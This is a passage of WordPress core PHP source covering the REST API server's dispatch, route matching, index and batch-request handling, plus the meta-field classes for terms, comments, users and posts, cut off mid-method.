		 * Filters the pre-calculated result of a REST API dispatch request.
		 *
		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $server  Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {

			// Normalize to either WP_Error or WP_REST_Response...
			$result = rest_ensure_response( $result );

			// ...then convert WP_Error across.
			if ( is_wp_error( $result ) ) {
				$result = $this->error_to_response( $result );
			}

			array_pop( $this->dispatching_requests );
			return $result;
		}

		$error   = null;
		$matched = $this->match_request_to_handler( $request );

		if ( is_wp_error( $matched ) ) {
			$response = $this->error_to_response( $matched );
			array_pop( $this->dispatching_requests );
			return $response;
		}

		list( $route, $handler ) = $matched;

		if ( ! is_callable( $handler['callback'] ) ) {
			$error = new WP_Error(
				'rest_invalid_handler',
				__( 'The handler for the route is invalid.' ),
				array( 'status' => 500 )
			);
		}

		if ( ! is_wp_error( $error ) ) {
			$check_required = $request->has_valid_params();
			if ( is_wp_error( $check_required ) ) {
				$error = $check_required;
			} else {
				$check_sanitized = $request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}
		}

		$response = $this->respond_to_request( $request, $route, $handler, $error );
		array_pop( $this->dispatching_requests );
		return $response;
	}

	/**
	 * Returns whether the REST server is currently dispatching / responding to a request.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the REST server is currently handling a request.
	 */
	public function is_dispatching() {
		return (bool) $this->dispatching_requests;
	}

	/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
	protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(
			'rest_no_route',
			__( 'No route was found matching the URL and request method.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Dispatches the request to the callback handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request  The request object.
	 * @param string          $route    The matched route regex.
	 * @param array           $handler  The matched route handler.
	 * @param WP_Error|null   $response The current error object if any.
	 * @return WP_REST_Response
	 */
	protected function respond_to_request( $request, $route, $handler, $response ) {
		/**
		 * Filters the response before executing any REST API callbacks.
		 *
		 * Allows plugins to perform additional validation after a
		 * request is initialized and matched to a registered route,
		 * but before it is executed.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

		// Check permission specified on the route.
		if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) {
			$permission = call_user_func( $handler['permission_callback'], $request );

			if ( is_wp_error( $permission ) ) {
				$response = $permission;
			} elseif ( false === $permission || null === $permission ) {
				$response = new WP_Error(
					'rest_forbidden',
					__( 'Sorry, you are not allowed to do that.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( ! is_wp_error( $response ) ) {
			/**
			 * Filters the REST API dispatch request result.
			 *
			 * Allow plugins to override dispatching the request.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$route` and `$handler` parameters.
			 *
			 * @param mixed           $dispatch_result Dispatch result, will be used if not empty.
			 * @param WP_REST_Request $request         Request used to generate the response.
			 * @param string          $route           Route matched for the request.
			 * @param array           $handler         Route handler used for the request.
			 */
			$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

			// Allow plugins to halt the request via this filter.
			if ( null !== $dispatch_result ) {
				$response = $dispatch_result;
			} else {
				$response = call_user_func( $handler['callback'], $request );
			}
		}

		/**
		 * Filters the response immediately after executing any REST API
		 * callbacks.
		 *
		 * Allows plugins to perform any needed cleanup, for example,
		 * to undo changes made during the {@see 'rest_request_before_callbacks'}
		 * filter.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * Note that an endpoint's `permission_callback` can still be
		 * called after this filter - see `rest_send_allow_header()`.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

		if ( is_wp_error( $response ) ) {
			$response = $this->error_to_response( $response );
		} else {
			$response = rest_ensure_response( $response );
		}

		$response->set_matched_route( $route );
		$response->set_matched_handler( $handler );

		return $response;
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return false|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		$last_error_code = json_last_error();

		if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param array $request {
	 *     Request.
	 *
	 *     @type string $context Context.
	 * }
	 * @return WP_REST_Response The API root index data.
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$fields = isset( $request['_fields'] ) ? $request['_fields'] : '';
		$fields = wp_parse_list( $fields );
		if ( empty( $fields ) ) {
			$fields[] = '_links';
		}

		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' );
			$this->add_active_theme_link_to_index( $response );
			$this->add_site_logo_to_index( $response );
			$this->add_site_icon_to_index( $response );
		} else {
			if ( rest_is_field_included( 'site_logo', $fields ) ) {
				$this->add_site_logo_to_index( $response );
			}
			if ( rest_is_field_included( 'site_icon', $fields ) || rest_is_field_included( 'site_icon_url', $fields ) ) {
				$this->add_site_icon_to_index( $response );
			}
		}

		/**
		 * Filters the REST API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 * @since 6.0.0 Added `$request` parameter.
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data.
		 */
		return apply_filters( 'rest_index', $response, $request );
	}

	/**
	 * Adds a link to the active theme for users who have proper permissions.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_active_theme_link_to_index( WP_REST_Response $response ) {
		$should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' );

		if ( ! $should_add && current_user_can( 'edit_posts' ) ) {
			$should_add = true;
		}

		if ( ! $should_add ) {
			foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
				if ( current_user_can( $post_type->cap->edit_posts ) ) {
					$should_add = true;
					break;
				}
			}
		}

		if ( $should_add ) {
			$theme = wp_get_theme();
			$response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) );
		}
	}

	/**
	 * Exposes the site logo through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_logo_to_index( WP_REST_Response $response ) {
		$site_logo_id = get_theme_mod( 'custom_logo', 0 );

		$this->add_image_to_index( $response, $site_logo_id, 'site_logo' );
	}

	/**
	 * Exposes the site icon through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_icon_to_index( WP_REST_Response $response ) {
		$site_icon_id = get_option( 'site_icon', 0 );

		$this->add_image_to_index( $response, $site_icon_id, 'site_icon' );

		$response->data['site_icon_url'] = get_site_icon_url();
	}

	/**
	 * Exposes an image through the WordPress REST API.
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 * @param int              $image_id Image attachment ID.
	 * @param string           $type     Type of Image.
	 */
	protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) {
		$response->data[ $type ] = (int) $image_id;
		if ( $image_id ) {
			$response->add_link(
				'https://api.w.org/featuredmedia',
				rest_url( rest_get_route_for_post( $image_id ) ),
				array(
					'embeddable' => true,
					'type'       => $type,
				)
			);
		}
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error(
				'rest_invalid_namespace',
				__( 'The specified namespace could not be found.' ),
				array( 'status' => 404 )
			);
		}

		$routes    = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data     = array(
			'namespace' => $namespace,
			'routes'    => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the REST API namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array[] Route data to expose in indexes, keyed by route.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the publicly-visible data for a single REST API route.
			 *
			 * @since 4.4.0
			 *
			 * @param array $data Publicly-visible data for the route.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for REST API routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array[] $available Route data to expose in indexes, keyed by route.
		 * @param array   $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods'   => array(),
			'endpoints' => array(),
		);

		$allow_batch = false;

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			$allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false;

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() );

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data   = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			$callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch;

			if ( $callback_batch ) {
				$endpoint_data['allow_batch'] = $callback_batch;
			}

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();

				foreach ( $callback['args'] as $key => $opts ) {
					if ( is_string( $opts ) ) {
						$opts = array( $opts => 0 );
					} elseif ( ! is_array( $opts ) ) {
						$opts = array();
					}
					$arg_data             = array_intersect_key( $opts, $allowed_schema_keywords );
					$arg_data['required'] = ! empty( $opts['required'] );

					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( ! str_contains( $route, '{' ) ) {
				$data['_links'] = array(
					'self' => array(
						array(
							'href' => rest_url( $route ),
						),
					),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Gets the maximum number of requests that can be included in a batch.
	 *
	 * @since 5.6.0
	 *
	 * @return int The maximum requests.
	 */
	protected function get_max_batch_size() {
		/**
		 * Filters the maximum number of REST API requests that can be included in a batch.
		 *
		 * @since 5.6.0
		 *
		 * @param int $max_size The maximum size.
		 */
		return apply_filters( 'rest_get_max_batch_size', 25 );
	}

	/**
	 * Serves the batch/v1 request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $batch_request The batch request object.
	 * @return WP_REST_Response The generated response object.
	 */
	public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
		$requests = array();

		foreach ( $batch_request['requests'] as $args ) {
			$parsed_url = wp_parse_url( $args['path'] );

			if ( false === $parsed_url ) {
				$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );

				continue;
			}

			$single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] );

			if ( ! empty( $parsed_url['query'] ) ) {
				$query_args = null; // Satisfy linter.
				wp_parse_str( $parsed_url['query'], $query_args );
				$single_request->set_query_params( $query_args );
			}

			if ( ! empty( $args['body'] ) ) {
				$single_request->set_body_params( $args['body'] );
			}

			if ( ! empty( $args['headers'] ) ) {
				$single_request->set_headers( $args['headers'] );
			}

			$requests[] = $single_request;
		}

		$matches    = array();
		$validation = array();
		$has_error  = false;

		foreach ( $requests as $single_request ) {
			$match     = $this->match_request_to_handler( $single_request );
			$matches[] = $match;
			$error     = null;

			if ( is_wp_error( $match ) ) {
				$error = $match;
			}

			if ( ! $error ) {
				list( $route, $handler ) = $match;

				if ( isset( $handler['allow_batch'] ) ) {
					$allow_batch = $handler['allow_batch'];
				} else {
					$route_options = $this->get_route_options( $route );
					$allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
				}

				if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
					$error = new WP_Error(
						'rest_batch_not_allowed',
						__( 'The requested route does not support batch requests.' ),
						array( 'status' => 400 )
					);
				}
			}

			if ( ! $error ) {
				$check_required = $single_request->has_valid_params();
				if ( is_wp_error( $check_required ) ) {
					$error = $check_required;
				}
			}

			if ( ! $error ) {
				$check_sanitized = $single_request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}

			if ( $error ) {
				$has_error    = true;
				$validation[] = $error;
			} else {
				$validation[] = true;
			}
		}

		$responses = array();

		if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
			foreach ( $validation as $valid ) {
				if ( is_wp_error( $valid ) ) {
					$responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
				} else {
					$responses[] = null;
				}
			}

			return new WP_REST_Response(
				array(
					'failed'    => 'validation',
					'responses' => $responses,
				),
				WP_Http::MULTI_STATUS
			);
		}

		foreach ( $requests as $i => $single_request ) {
			$clean_request = clone $single_request;
			$clean_request->set_url_params( array() );
			$clean_request->set_attributes( array() );
			$clean_request->set_default_params( array() );

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

			if ( empty( $result ) ) {
				$match = $matches[ $i ];
				$error = null;

				if ( is_wp_error( $validation[ $i ] ) ) {
					$error = $validation[ $i ];
				}

				if ( is_wp_error( $match ) ) {
					$result = $this->error_to_response( $match );
				} else {
					list( $route, $handler ) = $match;

					if ( ! $error && ! is_callable( $handler['callback'] ) ) {
						$error = new WP_Error(
							'rest_invalid_handler',
							__( 'The handler for the route is invalid' ),
							array( 'status' => 500 )
						);
					}

					$result = $this->respond_to_request( $single_request, $route, $handler, $error );
				}
			}

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

			$responses[] = $this->envelope_response( $result, false )->get_data();
		}

		return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS );
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		header_remove( $key );
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;

		// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
		// phpcs:enable
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array(
			'CONTENT_LENGTH' => true,
			'CONTENT_MD5'    => true,
			'CONTENT_TYPE'   => true,
		);

		foreach ( $server as $key => $value ) {
			if ( str_starts_with( $key, 'HTTP_' ) ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) {
				/*
				 * In some server configurations, the authorization header is passed in this alternate location.
				 * Since it would not be passed in in both places we do not check for both headers and resolve.
				 */
				$headers['AUTHORIZATION'] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the term meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the term meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the comment type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the comment meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the user meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the user meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the post meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the post meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 * @deprecated 5.6.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		_deprecated_function( __METHOD__, '5.6.0' );

		register_rest_field(
			$this->get_rest_field_type(),
			'meta',
			array(
				'get_callback'    => array( $this, 'get_value' ),
				'update_callback' => array( $this, 'update_value' ),
				'schema'          => $this->get_field_schema(),
			)
		);
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return array Array containing the meta values keyed by name.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name       = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );

			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}

				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();

				if ( is_array( $all_values ) ) {
					foreach ( $all_values as $row ) {
						$value[] = $this->prepare_value_for_response( $row, $request, $args );
					}
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array $meta      Array of meta parsed from the request.
	 * @param int   $object_id Object ID to fetch meta for.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		$error  = new WP_Error();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			$value = $meta[ $name ];

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 *
			 * Non-single meta can also be removed by passing an empty array.
			 */
			if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
				$args = $this->get_registered_fields()[ $meta_key ];

				if ( $args['single'] ) {
					$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );

